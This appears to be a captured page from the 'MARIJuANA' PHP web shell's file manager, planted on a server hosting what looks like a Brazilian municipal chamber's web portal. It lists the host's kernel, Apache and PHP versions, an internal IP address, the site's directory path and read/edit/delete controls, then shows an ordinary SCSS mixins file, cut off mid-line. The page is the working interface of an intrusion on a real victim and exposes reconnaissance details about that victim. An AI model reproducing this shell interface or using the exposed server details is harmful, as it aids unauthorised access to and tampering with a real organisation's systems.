MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/camara-brumado/public_html/portal/assets/sass/components/Mixins/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
  _functions.scss 14.354 KB -rw-rw-r-- 2021-01-28 14:46 R E G D
  _rtl.scss 6.609 KB -rw-rw-r-- 2021-01-28 14:46 R E G D
  _template-mixins.scss 11.962 KB -rw-rw-r-- 2021-01-28 14:46 R E G D
REQUEST EXIT
// Functions // -------------------------------------------------- @mixin clearfix() { &:before, &:after { content: " "; // 1 display: table; // 2 } &:after { clear: both; } } @mixin backface-visibility($property) { -webkit-backface-visibility: $property; backface-visibility: $property; } // Position mixin //========================================== // @param [string] $position: position type // @param [list] $args: list of offsets and values //========================================== @mixin position($position, $args) { @each $o in top right bottom left { $i: index($args, $o); @if $i and $i + 1 <= length($args) and type-of( nth($args, $i + 1) ) == number { #{$o}: nth($args, $i + 1); } } position: $position; } // Absolute positioning mixin //========================================== // @param [list] $args: list of offsets and values //========================================== @mixin absolute($args) { @include position(absolute, $args); } // Arrow mixin //========================================== // @param [string] $direction: arrow direction // @param [list] $position: list of offsets and values // @param [color] $color (inherit): arrow color // @param [number] $size (1em): arrow size //========================================== @mixin triangle($direction, $position, $color: currentColor, $size: 1em) { // Make sure the direction is valid @if not index(top right bottom left, $direction) { @warn "Direction must be one of top, right, bottom or left."; } @else { @include absolute($position); // Position @include square(0); // Size content: ''; z-index: 2; border-#{opposite-position($direction)}: $size * 1.5 solid $color; $perpendicular-borders: $size solid transparent; @if $direction == top or $direction == bottom { border-left: $perpendicular-borders; border-right: $perpendicular-borders; } @else if $direction == right or $direction == left { border-bottom: $perpendicular-borders; border-top: $perpendicular-borders; } } } // Font size - rem //========================================== @function parseInt($n) { /* 2 */ @return $n / ($n * 0 + 1); } @mixin font-size($property, $values) { $px : (); /* 3 */ $rem: (); /* 3 */ @each $value in $values { /* 4 */ @if $value == 0 or $value == auto { /* 5 */ $px : append($px , $value); $rem: append($rem, $value); } @else { $unit: unit($value); /* 6 */ $val: parseInt($value); /* 6 */ @if $unit == "px" { /* 7 */ $px : append($px, $value); $rem: append($rem, ($val / 10 + rem)); } @if $unit == "rem" { /* 7 */ $px : append($px, ($val * 10 + px)); $rem: append($rem, $value); } } } @if $px == $rem { /* 8 */ #{$property}: $px; /* 9 */ } @else { #{$property}: $px; /* 9 */ #{$property}: $rem; /* 9 */ } } //== Border //========================================== @mixin border( $coordinates: 0 0 0 0, $colour: $border-color, $style: solid ) { $top: nth($coordinates, 1); $right: nth($coordinates, 2); $bottom: nth($coordinates, 3); $left: nth($coordinates, 4); @if not(unitless($top)) { border-top: $top $style $colour; } @if not(unitless($right)) { border-right: $right $style $colour; } @if not(unitless($bottom)) { border-bottom: $bottom $style $colour; } @if not(unitless($left)) { border-left: $left $style $colour; } } // State and hover //========================================== @mixin state-hover-default($time, $background, $border-color){ @include transition(all $time); &:hover{ background: $background; border-color: $border-color; } } @mixin state-hover($time,$height,$color){ @include box-shadow(inset 0 0 0 0 $color); @include transition(all $time cubic-bezier(0.8,0,0,1)); &:hover{ @include transition(all $time cubic-bezier(0.8,0,0,1)); @include box-shadow(inset 0 (-$height) 0 0 $color); } } @mixin state-hover-2($background){ position: relative; z-index: 10; &:after{ content: ""; display: block; z-index: -50; background-color: $background; visibility: hidden; @include scale(0); @include vertical-center(100%,100%); @include opacity(0); @include transition-delay(0.3s,0s); @include transition(transform 0s cubic-bezier(0.19,1,0.22,1) 0.3s,opacity 0.3s cubic-bezier(0.19,1,0.22,1)); } &:hover{ &:after{ visibility: visible; @include scale(1); @include opacity(1); @include transition(transform 0.6s cubic-bezier(0.19,1,0.22,1),opacity 0.5s cubic-bezier(0.19,1,0.22,1)); } } } //== Flexible Layout //========================================== @mixin flexbox { display: -webkit-box; display: -webkit-flex; display: -moz-flex; display: -ms-flexbox; display: flex; } %flexbox { @include flexbox; } @mixin inline-flex { display: -webkit-inline-box; display: -webkit-inline-flex; display: -moz-inline-flex; display: -ms-inline-flexbox; display: inline-flex; } %inline-flex { @include inline-flex; } // Retina Sprite Mixins @mixin retina-sprite-background($url,$position,$width,$height){ background-repeat: no-repeat; background-image: url($url); background-position: $position; width:$width; height:$height; } /** elements mixins **/ @mixin border-exclude-top($border-deep, $border-type , $border-color ){ border-bottom: $border-deep $border-type $border-color ; border-left: $border-deep $border-type $border-color ; border-right: $borde